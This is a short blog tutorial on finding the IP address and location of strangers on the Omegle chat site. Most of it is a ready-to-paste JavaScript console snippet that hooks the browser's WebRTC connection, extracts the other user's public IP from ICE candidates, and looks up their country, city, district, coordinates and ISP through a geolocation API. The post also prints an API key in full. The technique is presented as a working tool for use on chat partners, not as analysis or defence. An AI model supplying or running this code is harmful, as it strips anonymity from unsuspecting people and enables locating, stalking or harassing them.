How to find someone's ip address on omegle

How to find someone's ip address on omegle

Omegle is a free online chat website that allows users to socialize with others without the need to register. The service randomly pairs users in one-on-one chat sessions where they chat anonymously. ANONYMOUSLY?? But up to what context?

Yes, you cannot get to know the name or any information of the people to whom you are talking without their will. But, this is the internet and people who are using the internet have always their IP addresses public.

So we are going to find the IP address of the people with whom we are chatting, using some javascript code, and to get the result more standard we will be using a free API of ipgeolocation .

We are going to do this task in simple 2 steps:
1.Getting API key from IPGEOLOCATION:

In the first step, just simply go to ipgeolocation.io and create your account thereby entering your email, username, and password. After verifying your email, just login into the site and copy the API keys provided to you in the dashboard.

2.Javascript Code:

Now go to omegle.com and start a video chat with any stranger. And then press Ctrl+Shift+I and click on console and paste the code given below:

(Remember: Replace the below apiKEY with your own apiKEY which we created in above step 1)
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; window.RTCPeerConnection = function(...args){ const pc = new window.oRTCPeerConnection(...args); pc.oaddIceCandidate = pc.addIceCandidate; pc.addIceCandidate = function(iceCandidate, ...rest){ const fields = iceCandidate.candidate.split(" "); console.log(iceCandidate.candidate); const ip = fields[4]; if (fields[7]==="srflx"){ getlocation(ip); } return pc.oaddIceCandidate(iceCandidate, ...rest); }; return pc; } const getlocation = async(ip) =>{ let url = `https://api.ipgeolocation.io/ipgeo?apiKey=8f86850fe3b94f5fbefb32c7ffb2e886&ip=${ip}`; await fetch(url).then((response)=> response.json().then((json) => { const output = ` ............................. Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} LAT/LONG: (${json.latitude} , ${json.longitude}) provider: ${json.isp} ..................................`; console.log(output); }) ); };
Anonsagar Founder of Tritech and creator of "Anonsagar Cyber " blog that you are currently previewing. Through this blog and youtubechannel, my attempt is to teach basics and those coding techniques to people in short time which took me ages to learn. 6 min read